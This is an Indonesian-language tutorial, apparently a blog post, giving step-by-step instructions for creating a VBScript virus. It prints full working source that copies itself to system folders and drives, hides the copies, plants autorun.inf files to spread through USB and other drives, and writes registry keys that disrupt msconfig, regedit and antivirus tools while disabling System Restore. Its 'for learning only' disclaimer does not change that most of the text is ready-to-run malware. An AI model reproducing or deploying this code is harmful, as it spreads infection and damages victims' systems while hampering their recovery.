Sekali lagi, gunakan script ini hanya untuk tujuan pembelajaran. Bukan untuk merusak, bila anda ingin melihat kemampuannya, silahkan aktifkan di komputer anda sendiri. Jangan di komputer orang lain. Saya tidak bertanggung jawab atas kerusakan yang di buat oleh virus ini.
Virus scrip ini hampir mirip dengan virus Sality yang mana k
erjanya merusak Registri / Regedit, selain itu juga Virus ini menyebarkan Infeksi2 ke Hardrive2 yang ada di PC. Tapi Virus ini tidak menginfeksi file yang berekstensi .exe dan lain2 seperti Virus Sality.
Cara membuat virus ini cukup mudah:
- Pertama-tama buka notepad,
- Kemudian copas (copy-paste) script di bawah ini kedalam notepad,
- Kemudian pilih Save As,
- Simpan dengan format Fakry.vbs.
Peringatan kalau script sudah di simpat dengan akhiran / format .vbs berarti virus script sudah aktif.
Kalau ingin menyimpan Script di komputer/flasdisk kamu, simpat dengan format .txt contoh: Fakry.txt
--------------------------------------script awal---------------------------------------
On error resume next
Dim dini,jatiya,i,loph,you,mf,isi,tf,vhck3d,nt,check,sd
'Siapkan isi autorun atau bahasa kerennya make the autorun
Isi = "[autorun]" & vbcrlf & "shellexecute=wscript.exe vhck3d.vbs"
Set you = createobject("scripting.filesystemobject")
Set mf = you.getfile(wscript.scriptfullname)
Dim text,size
Size = mf.size
Check = mf.drive.drivetype
Set text = mf.openastextstream(1,-2)
Do while not text.atendofstream
Dini = dini & text.readline
Dini = dini & vbcrlf
Loop
Do
'Buat file induk bahasa coolnya prepare the mother
Set i = you.getspecialfolder(0)
Set jatiya = you.getspecialfolder(1)
Set tf = you.getfile(jatiya & "\hck3d.vbs")
Tf.attributes = 32
Set tf = you.createtextfile(jatiya & "\hck3d.vbs",2,true)
Tf.write dini
Tf.close
Set tf = you.getfile(jatiya & "\hck3d.vbs")
Tf.attributes = 39
'Sebar ke removable disc ditambahkan dengan autorun.inf ini saya mah gak tau bahasa inggrisnya
For each loph in you.drives
If (loph.drivetype = 1 or loph.drivetype = 2) and loph.path <> "a:" then
Set tf=you.getfile(loph.path &"\vhck3d.sys.vbs")
Tf.attributes =32
Set tf=you.createtextfile(loph.path &"\vhck3d.vbs",2,true)
Tf.write dini
Tf.close
Set tf=you.getfile(loph.path &"\vhck3d.vbs")
Tf.attributes = 39
Set tf =you.getfile(loph.path &"\autorun.inf")
Tf.attributes = 32
Set tf=you.createtextfile(loph.path &"\autorun.inf",2,true)
Tf.write isi
Tf.close
Set tf = you.getfile(loph.path &"\autorun.inf")
Tf.attributes=39
End if
Next
'Manipulasi registry
Set vhck3d = createobject("wscript.shell")
'Banyak yang dirubah..liat ndiri deh aaah
Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\msconfig.exe\debugger",""
Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\regedit.exe\debugger",""
Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\regedt32.exe\debugger",""
Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\registryeditor.exe\debugger",""
Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\setup.exe\debugger",""
Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\avscan.exe\debugger",""
Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\avcenter.exe\debugger",""
Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\ashavast.exe\debugger",""
Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\ansav.exe\debugger",""
Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\viremoval.exe\debugger",""
Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\viremover.exe\debugger",""
Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\pcmav-cln.exe.exe\debugger",""
Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows\currentversion\winlogon\legalnoticecaption", "my loph dini"
Vhck3d.regwrite "hkey_local_machine\software\policies\microsoft\windows\installer\limitsystemrestorecheckpointing", "1", "reg_dword"
Vhck3d.regwrite "hkey_local_machine\software\policies\microsoft\windows\installer\disablemsi", "1", "reg_dword"
Vhck3d.regwrite "hkey_local_machine\software\policies\microsoft\windows nt\systemrestore\disablesr", "1", "reg_dword"
Vhck3d.regwrite "hkey_local_machine\software\policies\microsoft\windows nt\systemrestore\disableconfig", "1", "reg_dword"
If check <> 1 thenWscript.sleep 200000
End if
Loop while check <> 1
Set sd = createobject("wscript.shell")
Sd.run i & "\explorer.exe /e,/select, " & wscript.scriptfullname
--------------------------------------- akhir Script-----------------------------------------
Penjelasan : Yang saya tandai dengan warna kuning adalah penjelasan fungsi dari Script Virus ini.Seperti: Manipulasi registry Dan di bawahnya adalah Virus Scriptnya, dari perintah untuk memanipulasi Registry.
